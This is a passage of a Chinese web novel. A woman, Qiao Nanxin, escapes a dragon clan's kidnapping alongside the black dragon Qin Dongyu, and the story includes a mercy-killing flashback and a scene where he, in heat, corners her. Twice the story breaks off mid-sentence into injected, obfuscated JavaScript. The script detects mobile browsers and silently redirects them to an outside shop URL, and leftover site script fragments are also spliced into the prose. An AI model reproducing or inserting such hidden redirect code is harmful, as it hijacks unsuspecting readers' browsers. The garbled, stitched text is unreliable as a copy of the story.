乔南芯不听,她就是想同意人家加入,更何况是她的熟人。 吵到最后,秦冬予就生气了。 他总是很容易生气,尤其对她的朋友敌意很大。 。 “乔南芯。”秦冬予终于过来了,他这回记着乔南芯说的话,来找她之前先出声喊她。 乔南芯转过头开玩笑说:“洗这么久,我还以为你掉在那了。” 秦冬予走到她旁边坐下,乔南芯将素汤推过去:“尝尝。” 秦冬予注视着汤,开始挑刺:“全是绿菜,没有肉?你叫我尝,下毒了?” 这素汤一点肉沫都没有,只有绿菜。 乔南芯伸手把碗移回来:“爱喝不喝,你怎么那么多废话。” 有的吃就不错了,还挑剔说没有肉。 秦冬予抢过她手里的碗,咕噜噜喝完,菜叶也和汤一样喝下肚。 他放下碗后说:“你说我们以前是好哥们,那你说说我们之前的事。” “你想听?”乔南芯确认他确实好奇想知道,开始从他们相识说起。 起初的她对秦冬予无感,甚至可以说有点讨厌秦冬予。 熟悉之后,她发现自己和秦冬予很像,只是她习惯把事情藏在心里,表现出对什么事都很平淡。 而秦冬予不同,他就像外面长满了尖锐的刺,远远看着就知道不好惹,让人退避三舍,离得近又被扎伤。 如他这个人,怎么看都不好惹也不好相处,把所有人隔绝在外。 尖锐的刺、冰冷狠厉只是他的保护色。 再到后来灾难降临,她和秦冬予组队,她发现他为人很仗义,总是舍身挡在前面,让比他弱小的人先跑。 秦冬予听得津津有味,十分感兴趣地问:“怎么听着,我在你心里是一个善良、仗义、嘴硬的好人?” 这还是头一回有人这样形容他,新奇到令他感到陌生,这还是他吗? 善良这个词和他完全不挂钩。 听起来很可笑。 秦冬予靠近乔南芯,冷冷地审视她:“你亲眼所见我的残暴无情,也知道外面的雪下面是血液和残骸,现在还觉得我善良?” 乔南芯白费口舌,摆烂似地顺着他说:“你觉得自己是什么样的人就是什么样的吧。” 秦冬予对这个答案不满意,逼着她辩论他到底善不善良。 乔南芯被他追着问烦了,直接转移话题:“他们要你手里的碎片到底是什么东西?” 此话一出,秦冬予还算柔和的眉眼瞬间冷然,眸色暗沉,语气带着探究和质问:“你也想要?” 他敏感肌和被害妄想症也不是一天两天,和他相处的这段时间,乔南芯都已经适应了。 她无奈地说出实话:“我连是什么东西都不知道,我要它来干什么?” 秦冬予站起身:“跟我来,我带你去看。” 乔南芯没多想地跟上去,她还挺好奇。她之前探索过巢穴内所有地方,却没发现碎片,说明他很看重碎片,把它藏得很隐蔽。 不对,她突然反应过来。 秦冬予会这么好心直接带她去看? “你该不会要杀我灭口吧?” “杀你何须等到现在。”秦冬予对她的问题感到好笑,他带她进入睡觉的洞室,在黑色的墙壁上摁下一个机关,一扇石门慢慢打开,“进去吧。” 乔南芯不放心地看了他一眼,视线还没收回,就被他用力推进去。 一团黑漆漆的小家伙瞬间跑到她脚边,有的蹭着她的小腿,有的非常顽劣地拽她的裤腿,还有的要上天,已经顺着她的身体爬到她的肩膀上,和她干瞪眼。 比乔南芯的脑袋大点的小黑龙鳞片乌亮、顶着两个短角,翘起尾巴,看起来非常得可爱,一点都不凶。 像秦冬予黑龙的缩小Q版,软萌可爱。 乔南芯抚摸肩膀上小家伙的脑袋,小家伙一脸享受地露齿咯咯笑。 她问:“你的孩子们?” 长得真的好像,性格却一点都不像。 这些小家伙非常活泼可爱,没有攻击性。 秦冬予一脸不爽,正要回答,乔南芯肩膀上站着的小家伙开口说话:“什么孩子,那是我们老大。” 乔南芯:“老大?” 秦冬予冷哼一声,在场的所有小家伙再次闹腾起来,拥护他们的老大。 合理,很合理。 秦冬予叫她看前面:“那就是你好奇的碎片。” 乔南芯不顾小家伙们的扒拉,往前走了两步,不远处的黑池水中悬空着一块通体乌黑的碎片,同时散发着黑色雾气,仔细看就能发现碎片上闪烁着繁复的暗纹。 她本来还在怀疑,现在亲眼看到,确定这个碎片就是千年前无数人趋之若鹜想要得到的力量碎片。 她手里也有一块。 当时调查发现,末世降临的根本原因是首次发现黑暗碎片的人为了试验,操控碎片把整个世界变成生灵涂炭的末日。 可逆转时空的黑暗碎片一共分为四块,她手里一块,秦冬予手里一块,还有两块不知在何处。 乔南芯想得久了,回过神时,秦冬予面色暗沉地盯着她:“你在想什么?” “我在想,这个碎片看起来就很邪恶,不是好东西,为什么这么多人想要?” 乔南芯不打算告诉秦冬予她手里也有一块,也不打算管碎片的事。 参与其中只会被挤得头破血流。 秦冬予却不怕,伸手把碎片拿到手中,黑色的雾气包裹住他整个手掌。 “因为力量,联邦得到它可以翻身,兽人得到它可统治整个星际。” 如今的星际只是面上和平,实则暗潮汹涌。 联邦那边的人为了得到他手中的碎片,已经数不清派了多少人来暗杀他。 兽人那边为了扩大种族的力量,也是不断来争抢。 乔南芯不动声色试探他的想法:“那你呢,你留着它想拿来做什么?统治整个星际?” 秦冬予将碎片放回原位,口气轻蔑地反问:“我如果要统治整个星际需要靠这块碎片?” 在他看来,只有弱者才需要借助外力,强者凭借自己的实力。 乔南芯不解:“那你留着干嘛,收藏?” 秦冬予:“你管我。” “……”乔南芯好心提出建议,“他们都知道碎片在你这,闹得你这一点都不安宁,为此你还受伤,还不如把碎片给他们。” 秦冬予傲慢道:“我喜欢战斗。” 乔南芯被他说的无语笑了,如果换作是她,她情愿把碎片让出去换取安宁。 算啦,尊重他人想法。 他喜欢这种刺激的打架就让他去打吧。 看也看完了,乔南芯准备离开,这些Q版小黑龙跟着她出去。 “这些是你的小弟,那你给他们取名了吗?” 乔南芯指了指一直站在她肩膀上的小黑龙问:“你叫什么?” 秦冬予:“霄子。” 乔南芯又指了指一直拽着她裤腿的:“他呢。” “钧子。” 乔南芯又抱起从最开始就一直蹭着她的小黑龙:“他呢,他好可爱。” 这只小家伙的脾气是最好的。 “牧子。”秦冬予回答完从她手里抢过去,再丢到地上。 牧子小黑龙又屁颠屁颠走到乔南芯脚边蹭她,和小猫小狗一样。 秦冬予眼里的嫌弃都快溢出来了,仿佛在说“你能不能有点骨气”。 乔南芯吐槽:“你怎么还是和以前一样,取名都是什么子。” 秦冬予:“方便,好记。” 他打了个哈欠:“我去睡觉了,不准跑。” “知道了,你都说多少遍了。”乔南芯摸摸每个小黑龙的脑袋,他们身上的鳞片冰冷又滑溜溜的,但是性格真的很乖,和秦冬予对比简直就是一大群小天使。 尤其是牧子小黑龙,性格就像温顺的猫猫。 折腾了这么久,乔南芯也想去休息,她偷偷摸摸跑去放娃娃的地方,掀开被子躺了上去,旁边是她的Q版小玩偶和秦冬予的阿贝贝。 真奇怪,秦冬予竟然不和他的阿贝贝一起睡觉。 让他的阿贝贝和乔南芯的Q版玩偶单独睡在一张床。 霄子、钧子、牧子三个小黑龙咧着牙,翘着尾巴跑上床和她一起睡觉。霄子在她肩膀旁边睡,钧子抱着她的手臂睡,牧子睡在她怀里。 他们三个的体温不像秦冬予那样像雪山一样冷,不一会就暖了,乔南芯很快睡着。 她再次醒来是被扑面的狂风吹醒,她睁开眼往下看,顿时懵了。 底下是澄澈的海水。 她貌似是被生物抓在空中前进。 乔南芯抬起头看,入目是庞然黑影,黑龙的另一个爪子钩着一个网,网里面是霄子、钧子、牧子三小只,以及她的Q版玩偶和秦冬予的阿贝贝。 完了,竟敢绑架秦冬予的阿贝贝,等会肯定死得很惨。 他们现在处于高空,也不知道摔下海能不能活。 不知飞了多久,终于停在了一个被巨大树穹顶笼罩的城区。 粗壮如山脉的枝干向四面八方延展,层层叠叠的叶片间悬着无数暖金色的发光巢屋,像是一个个巨大的灯笼。 树身覆盖苔藓和藤蔓,头顶树叶缝隙漏下的碎光落在下方的人群和石径上。 巨树仿佛有呼吸,在乔南芯的视线中轻轻震颤。 乔南芯望着遮天蔽日的古树,身在其中,感受着静谧而磅礴的绿意。 她问抓她来的人:“这是你们的家吗,好漂亮啊。” 抓她的人显然没料到她会这样说,愣了一下后还是解释道:“这是我们一起生活的地方。” 乔南芯自然地应答:“不错,比雪岌崖那又冷又偏僻的地方好多了。” 提到秦冬予住的地方,回答她问题的人才反应过来,面露凶狠:“少说话。你和秦冬予住在一起却还活着,你对他肯定很重要。” 这回轮到乔南芯冷嗤,她抬起脖颈,露出还未消下去的红痕:“你看到我脖子上的痕迹了么,就是他掐的,他脑子不太正常。” 尹知收回视线,不为所动:“有什么要说的,等会和我们长老说吧。” 。 乔南芯迫于威压跪在地上,从进屋到现在,她已经给他们看过工牌,解释自己就是个打工的,命苦被黑龙扣押在巢穴给他做饭。 他们不信她所说的一切,咬定秦冬予会留她性命,两人之间肯定有感情。 其中一位长老虚了虚眼:“上回活着回来的人汇报,秦冬予巢穴内有人帮他,就是你吧?” 乔南芯摇头,装傻无辜:“啊,我不知道。” 无论他们说什么,乔南芯咬死不知道,不是她干的。 她睡得好好的,怎么就被绑架了,秦冬予没有一点安全意识吗? 绑架她就算了,连三只小黑龙都一同绑架。 这都算了。 为什么连Q版娃娃和秦冬予的阿贝贝都一起掳走。 他们这群人办事真够谨慎。 他们从乔南芯嘴里问不出有效信息,最后问的问题是:“你有没有见过碎片?” 乔南芯还是装傻充愣:“碎片是什么?我都没听过。” 他们互相对视一眼,叫尹知带她和小家伙们下去:“你对他是否重要,等他来了就知道了。” 乔南芯拿好娃娃和阿贝贝,和三小只一起被关在巨树的牢笼中。 抓她来的尹知离开前还安慰一句:“你不用担心,我们的目标是秦冬予,等他来了我们自会放你离开。” 说得很好听。 乔南芯却在思考,要是千年前的秦冬予肯定会义无反顾直闯大本营来营救她。 可是现在,没有千年前记忆的秦冬予会单枪匹马来救她吗? 她不确定。 即使他真的来了,肯定也是为了三只小黑龙和他的阿贝贝吧。 她尝试自救出去,可是牢笼坚不可摧,用了各种办法都不管用。 三小只倒是精神状态良好,个个用牙去咬,最终还是无济于事。 乔南芯拍拍他们的小脑袋:“事已至此,先休息吧,你们老大重情义,肯定会来救我们的。” 三小只听懂她的话,乖巧地点头。 乔南芯正准备睡觉,外面轰隆一声,地震山摇,整个巨树仿佛因为害怕而剧烈颤抖,晃得乔南芯都想吐了。 她爬起来,透过窗户往下面看,秦冬予正站在巨树之下,他此刻被人围着,依旧风轻云淡,若有感应地抬头和她对视。 “把我的人放了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407340|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >尹知来抓她和三小只,带到秦冬予面前,两指掐住乔南芯的命脉,威胁秦冬予:“你只能选一个带走,是选她,还是这三只小黑龙?” 长老冷笑:“不对,你杀了我们这么多人,我们杀你一个人不过分吧?” 尹知听长老的话加重力道,原本他根本没用力,此时乔南芯感觉呼吸有点不顺畅,她视线落到尹知身上。 不是说秦冬予来了就放了她吗? 你个骗子。 尹知接收她不满控诉的眼神,默默地放松一点力道。 秦冬予轻嗤:“你们应该知道,我最讨厌威胁。你们还敢约在老巢这,不怕我炸掉?” 他是个疯子,他说的话都是认真的。 敢威胁他,那大家一起同归于尽好了。 反正这里的人和他无关。 长老也听明白了,压抑着怒气,一副好商量的语气:“碎片放在你那也派不上用场,不如交由我们。我知道你也憎恨联邦,憎恨那些虚伪的人,我们拿到碎片可以……” “我不感兴趣。” 长老的话还没说完被秦冬予打断。 秦冬予冷冷地盯着他们:“你们要做什么,我不感兴趣也不想知道,你们想做什么和我无关。” 他撇清关系,不想和这里的人扯上一点关系。 长老嘴边的假微笑彻底消失:“好好和你说话你不听,非要闹得那么难看吗?” “看来你真是年纪大老糊涂了。”秦冬予完全没被他唬住,“一直闹的不是你们么?” 秦冬予耐心耗尽:“我再说一遍,放了我的东西。” 他说话时,长老脚下突然生出锐利的冰锥,幸好长老反应快躲开了,否则当场丧命。 秦冬予是他们家族实力最强大的黑龙,也是脾气最臭的。 因此,他们非常忌惮秦冬予,不惜花费重金请蛇影佣兵团。 可恨的是,这都不能伤他半条命。 与此同时,乔南芯偷偷问尹知:“你说话不算话,你不是说他来了就放我走吗,你这两根手指是几个意思?” 尹知被她说得又放松了点力道,看了眼秦冬予那边,压低声音回:“你也看到了,我们需要碎片,他不给,我们没办法放你走。” “碎片?你说的是这个吗?”乔南芯没有特意压低声音,从怀里拿出一个和秦冬予那一模一样的碎片。 她说话时,在场的所有人都看向她,看到她真的拿出来后,一个个都不可置信地瞪大了眼睛。 长老更是指着秦冬予:“你竟然把碎片给一个人类。” “你们要啊,给你们就是喽。”乔南芯把碎片伸到尹知面前,扬扬眉,“快拿呀。” 尹知神情错愕,用另一只手接过时,一个肘击和脚踢袭来,他被偷袭差点站不稳。 乔南芯打完他,抓着三小只和娃娃跑向秦冬予。她可是在末世能对上丧尸王的人,本身还是有点实力。 秦冬予也问:“你哪来的碎片?” 普通公民没有自保能力,拥有碎片是一件很危险的事情。 乔南芯焦急道:“别管了,快跑。” 碎片嘛,当然是假的。 她怎么可能把真的碎片拱手于人,她又不是傻子。 秦冬予听她的话,化为黑龙叫她坐在上面抓稳。 他飞起来后,乔南芯抓住他两个角,怀里护着两个娃娃和三小只。 “这个碎片是假的!追!” 身后传来他们暴怒的声音,乔南芯报告给秦冬予:“他们追上来了。” 千年前也有很多人争抢碎片,于是她想了办法弄个假碎片吸引他们。 这办法每回都很好使。 后方有人使用激光炮,秦冬予侧身躲避,乔南芯为了抓稳没顾上娃娃,他的阿贝贝和乔南芯的Q版娃娃掉了下去。 乔南芯着急地拍拍他:“你的阿贝贝掉了。” 秦冬予不曾停留,加快速度想甩掉后面那群人。 热力炮放在巢穴里,乔南芯拿出其它威力没那么大的武器,尽她所能拖延身后的追兵。 三小只也被激起斗志,跃跃欲试。 突然,秦冬予一个一百八十度的翻身,乔南芯没抓稳,和三小只同时往下坠落。 失重感骤然袭来,眼前飞速掠过模糊的风景,乔南芯看到三小只扑腾翅膀却飞不起来,跟着她一起下坠。 秦冬予应该会先救三小只吧? 乔南芯猛地睁大双眸,一道漆黑的龙影冲向她,鳞片泛着冷冽的寒光,巨大的龙身稳稳地接住她。 秦冬予竟然选择来救她? 他接住乔南芯后变成人,抱住她稳稳滚落在草丛上。 因为这个意外,竟然甩掉了那群人。 只是,三小只恐怕又被抓了。 乔南芯刚刚动容的心还未平静,怔怔地望着他:“你为什么先救我?你明明都不记得我了。” 这个问题让秦冬予愣住了,刚刚情况紧急,看到她掉落的那瞬间,他的心都乱了,脑海里只有一个念头,那就是救她。 他没有一丝犹豫地选择冲向她。 秦冬予垂眸,难得认真:“你和任何人比,我都先选你。” 你是我的第一选择。 秦冬予说完后挠挠头,他竟然也能说出这么煽情的话。 就好像,他曾经也这样对她说过同样的话。 他交代其他事情:“你在这待着别乱走,等我回来接你。” 乔南芯:“好,你小心一点。” 秦冬予应了一声,化为黑龙倒回去拯救三小只。 他离开后,乔南芯也开始动身,她不会在这等着什么也不做,还是先把玩偶和他的阿贝贝找回来。 刚刚阿贝贝掉落时,乔南芯就叫系统定个位置,待会推测阿贝贝流落的地方。 她顺着系统的指示终于找到了Q版玩偶和他的阿贝贝。 系统:【宿主,你可以等他们打得两败俱伤时,再出面让他们归顺于你。】 乔南芯眸光坚定:“不,我要救他,我不能让秦冬予再在我面前死一次。” 。 她知道秦冬予一直是个很要面子又爱逞强的人,千年前的末日突发意外,她们被变异生物黏上。 必须有一个异能者断后拖住它们。 公平起见,秦冬予搞了个抽奖,谁抽到有字的谁断后。 大家都知道必死无疑。 最后是秦冬予抽中有字的纸条,他准备出发之前,乔南芯找到他,拆穿他:“我知道你故意的,你把有字的纸条藏在手心。我和你一起去。” 秦冬予疲惫的眼眸却突然一弯:“什么故意的?你把我想的太好了。就是我太倒霉了,抽中有字的纸条。不用你和我一起去,也不看看我是谁,我这么厉害还需要帮手吗?” 他第一回说这么多话,乔南芯没说话,嘴唇颤抖,眼眸通红,含着泪水。 乔南芯很少哭,就算哭也是躲起来偷偷哭。 可这次,她却在秦冬予面前哭了,憋不住的眼泪顺着脸颊滴落。 秦冬予无奈地笑,走到她面前,粗粝的指腹擦去她的泪水,故作嫌弃:“不准哭,不知道还以为我去了就回不来,多晦气。” 乔南芯的眼泪更多了,秦冬予擦都擦不及,他最后捏着她的脸颊,认真道:“乔南芯,你听好了,我们俩都会平平安安活下去,不要哭了。” 乔南芯把眼泪憋回去:“你就不能对我温柔点吗?” “我对你还不够温柔啊。”秦冬予抱住她,低沉的嗓音很温柔,“乔南芯,等我回来时,我要告诉你一个秘密。” 乔南芯也紧紧抱住他,眼泪再次流下,她努力抑制自己的哭腔:“好,我等你。” 乔南芯最终还是没和他一起去。 秦冬予知道她的性格,在出发前拜托其他队友看好她,不准她跟来。 后来,乔南芯打听过后还是回去找秦冬予。 秦冬予靠在一个昏暗的角落,周围都是被他杀死的变异生物。 他真的做到了。 凭他一人,挡住所有变异生物,为其他人争取到活的机会。 “我带你回家。”乔南芯想去碰他,却被他厉声止住。 “我已经被感染了,”秦冬予嘴角扯出一个自嘲的笑,“杀了我。” 乔南芯不想相信自己听到的:“什么?” 秦冬予定定地看着她,语速缓慢,字字清晰:“我回不去了,杀了我。最后死在你手里,我很开心。” 乔南芯的眼睛布满红血丝,她蹲在他面前,才发现他身上有大大小小的血窟窿,她喉咙干涩,哽咽道:“不会的……你那么厉害,你怎么会被感染。” 往常吹嘘自己多么牛逼的秦冬予却无奈地摇头,他眼中有不甘、憎恨、遗憾,最终只剩淡然:“乔南芯,快点动手。” 他一遍遍催促,乔南芯终于忍不住大声痛哭:“你让我怎么下得去手,我怎么可以杀你?” “我不想等我变异后成为你的敌人,与其变成怪物,不如让我保留人的样貌死去。”秦冬予拿起手边的刀,递到乔南芯面前,催促道,“动手。” 乔南芯也知道他说的意思,与其等他变异成高级怪物杀死更多的人类,不如趁他还有清醒意识的时候杀了他。 泪水已经干了,又流出新的眼泪,浸湿她的睫毛。 “你说等你回来要告诉我一个秘密,是什么?” 秦冬予看着她,嘴唇微动,最终只是笑了笑:“答应我,好好活下去。” 噗嗤一声,匕首插入他的心脏,乔南芯死咬着下唇,撇过头去不看他。 良久后,她双腿麻木,颤抖地站起身,低着头看了看他已经无气息的尸体,轻声说:“秦冬予,晚安。” 。 乔南芯已经回到当初停放飞船的地方,她记得飞船可以调至攻击模式。 她对这种东西上手很快,大概搞明白后立刻开着飞船去找他。 此刻的秦冬予被包围,怀里护着三小只。 “秦冬予,你怎么那么不识好歹,乖乖地把碎片交出来不就什么事都没有,我们也不会再去打扰你,更不会对你身边的人下手。” 秦冬予手臂正在汩汩流血,他嘴上却还不饶人:“这么说,我还得对你们感恩戴德?” 尹知劝说:“我们想要碎片只是想让家族壮大,过得更好而已。” 秦冬予懒得和他们说这么多,再次开打。 这回,他们算是出动了家族大半的力量来围剿他,逼他一定要交出碎片。 他们的注意力全部放在秦冬予身上,完全没注意到身后进入战斗模式的飞船正发射几发炮弹打过来。 接二连三的爆炸声,乔南芯驾驶飞船已经到秦冬予身边。 秦冬予语气凶巴巴:“不是叫你在那等我吗,还回来干什么?” 乔南芯的手指飞速操控:“他们说的没错,你不识好歹,我当然是回来救你。” 秦冬予嘴硬:“不需要。” 乔南芯哎呀一声:“那也没办法,我就是愿意回来救你。” 现在可不是斗嘴的好时候,两人不再争吵。 秦冬予负责近战,乔南芯保持距离发射炮弹,她这个飞船也有近战攻击模式。 她打算等这次结束后,再把这个飞船改装升级一下。 秦冬予不得不承认,有了乔南芯的加入,他反击时变得轻松很多。 他不用考虑背后会有人偷袭,因为乔南芯会保护他的后背,一旦有人接近试图偷袭,就会吃她几发炮弹。 乔南芯刚刚还回了巢穴拿热力炮装在飞船上,热力炮的威力可不容小觑。 她完全打爽了,操控飞船灵活地躲避他们的进攻,同时抓住破绽反击。 系统平静的声音都提高了几分:【宿主,你就是天选之人。】 乔南芯非常认同这句话:“没想到我这么厉害,这么有天赋。” 她驾驶飞船打架简直是如鱼得水,从容不迫。 尹知开口劝说:“你怎么帮他,你不是说他都掐你脖子?” 乔南芯用秦冬予的话反击:“你管我。” 乔南芯和秦冬予两人配合默契十足,那些觊觎碎片的人再次灰溜溜撤退。 系统:【宿主,这是个好机会,你可以让黑龙归顺你,收服他就是你成为星际领袖的第一步。】 “星际领袖还是算了。”乔南芯此时已经平静下来,她承认自己很有天赋,但和那些精神力强大的兽人相比,她就是小卡拉米。 尤其是秦冬予这种级别的对手,她打不过。 而且,她真的不想奋斗了。 奋斗很累的,累脑子累体力。 她还是躺平比较舒服。 她正想问秦冬予她厉不厉害时,变回人类样貌的秦冬予两眼一闭,直直地往下掉落。 “秦冬予!” 乔南芯紧急操控飞船去接他。 7. 第 7 章 “秦冬予秦冬予,醒醒。”乔南芯声音十分焦急,满眼担心。 接到秦冬予后,乔南芯把他送回巢穴,三小只拿着娃娃和阿贝贝在一旁担忧看着。 他双目紧闭,眉头拧着,身上都是血,怎么拍喊都没有醒的迹象。 乔南芯先用布料包扎好他的手臂,准备带他去主城区的医疗中心,那里医疗设施完备,秦冬予肯定不会有事。 系统检测出她现在思绪较为混乱,出于她的安全问题考虑提醒:【宿主,不建议送他去主城区,他会连累你。】 乔南芯反应过来,联邦惦记秦冬予手里的碎片,看到重伤不醒的他肯定会趁机下手。 联邦想要封锁消息,必然会杀她。 “不能去主城区疗伤,那还能去哪?”乔南芯面色凝重,叫系统查资料,只要能救秦冬予,上刀山下火海她都愿意。 系统查资料的过程中,乔南芯用自己的衣服擦去秦冬予脸上的血污。 早知道她当时就多买几只药剂,现在还能派上用场。 她再也不抠搜了。 秦冬予身上好多血,有他的也有别人的。 就像千年前的场景,他浑身是血靠在墙壁上,最终死在她面前。 这样的事,她不想再目睹一遍。 乔南芯的声音带着哽咽:“系统你有没有查到?” 淡蓝色的光屏显示资料,系统出声解释:【离这最近的骸骨集市有一家黑医诊所,许多的逃犯、星盗、黑户不敢去正规的医疗区就会去那。】 “黑医诊所?”乔南芯一听这名字就皱起了眉,那边开出天价治疗费的话,她没有那么多的钱。 转念一想,既然是不正规的黑医诊所,肯定可以用别的宝贝交换。 如果他们能救秦冬予,她愿意把手中的碎片作为交换。 事不宜迟,乔南芯准备马上动身,她算好时间,以飞船的速度大约半个小时后就能到。 乔南芯看了眼浑身血污、狼狈的秦冬予,用尽全身力气将他带上飞船。 她安置好秦冬予后启动飞船自动驾驶,拿干净的毛巾沾水为秦冬予擦拭身体。 时间紧迫,她只能利用赶路的时间为他简单处理身上的脏污。 乔南芯动作温柔地脱去他上半身的衣服,拿起毛巾轻轻地落在他白皙的肌肤上。 她脑海中又浮现千年前秦冬予死的场景,擦着擦着又开始胡思乱想,万一秦冬予挺不到黑医诊所怎么办?她又要亲眼目睹一次他的死亡吗? 擦拭的手腕骤然被冰冷的手攥住,秦冬予缓缓抬眼,银蓝色的竖瞳闪现,带着锐利的警惕。 刚刚还胡思乱想的乔南芯看到他刚醒就用这样的眼神看着自己,眼底的泪水唰一下滴落。 秦冬予第一次看到女孩哭,充满警惕的眼神掠过一丝茫然和无措,松开她的手腕。 他坐起身,伸出手想擦去她的眼泪,手却悬在空中,最后身体倾斜靠近一把抱住她,下巴顺势而为搭在她颈窝,轻轻“啧”了声:“别哭了,死不了。” 乔南芯用手背抹了把脸,擦去泪痕,推开他,抽了两张纸巾擦鼻涕。 秦冬予坐着静静地看着她,注意到飞船的路线:“去骸骨集市那做什么?” 这个问题还没等乔南芯回答,他眉骨微压,眼眸一沉,面无表情:“你一个普通公民,刚刚开战斗模式的飞船那么熟练,迅速闪避、趁机偷袭、精准击中。说,你是谁派来的卧底?” 他在质问,却难得没有上手掐乔南芯脖子。 “我就当你夸我了。”乔南芯挺自豪,嘴角上扬,“可能我天赋异禀吧。” 秦冬予还是不信,他心里一直没打消对她身份的怀疑。 强大的心理、完美的伪装、过人的胆识、机敏的判断力以及熟练的作战操作。 种种迹象表明她不是一个普通人。 “现在回去。”秦冬予叫乔南芯更改路线图,乔南芯听话照做。 在她身后的秦冬予紧盯她脆弱的脖颈,悄无声息伸出手,准备扑倒她好好审问一番,手上一用力,两眼又是一黑,直直倒在乔南芯身上。 蓦然压在乔南芯后背的重量差点吓死她,她艰难地转过身,扶好秦冬予,把他放回原来的位置继续躺着。 她直接叫系统更改路线,目的地还是骸骨集市。 终于到骸骨集市后,乔南芯拖着秦冬予找到这里的黑医诊所。 头顶突然降下一片阴影,遮挡了整个视线的光,乔南芯抬头一看,一个四米高的巨人站在她面前,身躯如一堵墙,浑身肌肉像是硬实的块垒。 他呼吸带着厚重的气流,目光落下时,像是巨型战机压下,空气都变得压抑。 乔南芯友好打招呼:“你好,我的朋友受伤了,我想请你们帮我治疗他。” “跟我进来吧。”他转身带路,走路时地面都在震颤。 乔南芯跟着他走进一间诊室,里面摆放着各种精密仪器,环境整洁且科技感十足。 和她想象中腐蚀肮脏的画面不同。 巨人声音粗重冷肃:“先交定金。” “要多少?”乔南芯偷偷查看光脑账户,她只剩两千七星币。黑医诊所收费应该很贵,她手里的这些恐怕不够。 巨人重重呼出一口气,反问道:“你不知道我们这的规定?” 乔南芯:“什么规定?” 心里有不好的预感。 幸好巨人耐心好,解释说:“想救人,拿你最珍贵的东西压在这,为期三年。” 乔南芯仔细想了想,她也没有最珍贵的东西,非要拿出一样的话……她指了指一旁昏迷的秦冬予:“他。” 和秦冬予也算是同生共死过的家人,他是她珍贵的东西。 “你说了不算。”巨人突然抓起她丢进一旁的检测仪,在机关上摁了两下,开始读取她脑海中的记忆。 在看到某张熟悉的脸后,巨人双眼骤然一缩,原本平静的目光滚过错愕。 他停止检测,连忙小心地将乔南芯挪出来,摘掉她太阳穴的金属贴片。 乔南芯还挺好奇地问:“我最珍贵的东西是什么?” 巨人掩饰地催促她出去,把秦冬予丢进修复舱后出去坐在乔南芯身边:“你认识我主人?” “你主人是谁?我应该不认识。”乔南芯指了指里面,“那个,我不用付钱了吗?” 巍峨的巨人只是沉沉地叹了口气,看向乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407341|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南芯的眼神透着憋屈和妥协:“不用,你免费。” 要是让主人知道,他收了她东西,肯定要发火。 短短时间内态度却转变这么快,是在读取她记忆之后? 乔南芯更加好奇:“你主人到底是谁,叫什么?” 巨人却突然生气了:“你还在装,你们关系那么好,你早不说,是想害死我?” 他说完后气冲冲站起身,不再理会乔南芯,只是交代一个小时后,就可以去修复舱拿人。 乔南芯回想刚刚巨人的表情,看来他很惧怕他口中的主人。 她刚来这个世界,除了秦冬予也不认识其他厉害的人。 总不能巨人口中的主人也是她以前的老熟人吧? 有可能。 乔南芯不再纠结,找个床板睡了一觉,起来后已经过去一个小时。 她记着巨人的话打开修复舱,秦冬予身上的伤口已经完全痊愈,面色也恢复了,只是她摸着他身上温度滚烫。 奇怪,他的体温怎么变得这么热? 系统提醒:【宿主快跑,他现在数值不太对。】 乔南芯还试图叫醒秦冬予,随意地问:“什么情况?” 伤都好了,数值又有什么问题? 系统:【他体温异常是发-情期前兆。】 短短一句话让乔南芯立刻收回手,收拾东西准备跑路。她逃得很快,驾驶飞船立刻就溜得没影。 她前脚刚走,秦冬予马上睁开眼,银蓝色的竖瞳充满着情-欲。 乔南芯问系统:“他怎么突然就发-情期了?我是不是要给他准备抑制剂,还是找个他同类解决一下这事?” 不过秦冬予恶名在外,谁愿意和他做那种事啊。 就算有愿意的,也可能是觊觎碎片的人。 有点危险。 乔南芯花了剩余一半的星币买了一支效果比较好的抑制剂,接着就坐在一个地方看着往来的人发呆。 她觉得吧,这事也不难,相信以秦冬予强大的意志力,肯定能咬咬牙挺过去。 乔南芯做好心理准备,启动飞船回去。 不能放任秦冬予不管。 她刚踏进黑医诊所,对上秦冬予银蓝色的兽瞳,他眼神灼热,却被凶狠压住,仿佛随时会爆发。 秦冬予确实很难受,在见到乔南芯的那刻,脑海中突然清明了一下。 他记起了一些事情。 画面中的他问乔南芯:“假如某天我死了,你怎么样?” 乔南芯半开玩笑半认真回答:“那我陪你啊,反正咱俩也算是亲人了。” 亲人? 真正对他好的亲人,看到他难受,应该帮帮他才对。 不是么? 秦冬予刚压下去的欲-望再次被勾起,他低沉地笑出声,银蓝色的瞳孔愈发深邃,紧盯着乔南芯。 “既然回来了,看来你已经做好准备了。” 乔南芯一脸震惊,把手中的抑制剂拿起来给他看,见他不为所动后转身想跑。 身后的门却突然紧闭。 “陪我,亲人。” 秦冬予步步紧逼,舌尖碾过这两个词,似乎在细细品味其中的美味。 8. 第 8 章 他已经走到面前,乔南芯把手中的抑制剂塞进他手里后用力推开他,虽然并没有什么用,他还是纹丝不动。 “你现在情况不太对,要冷静。”乔南芯又好言相劝,疯狂使眼色,让他用手里的抑制剂,“你冲动,对咱俩都不好,会影响我们之间的感情。” 秦冬予皮笑肉不笑,修长的五指收拢,咔嚓一声,抑制剂应声碎裂,淡蓝色液体混着细碎的玻璃渣顺着他的掌心和指缝往下淌,黏腻冰凉,滴在地上,隐隐散发出极淡的冷雾。 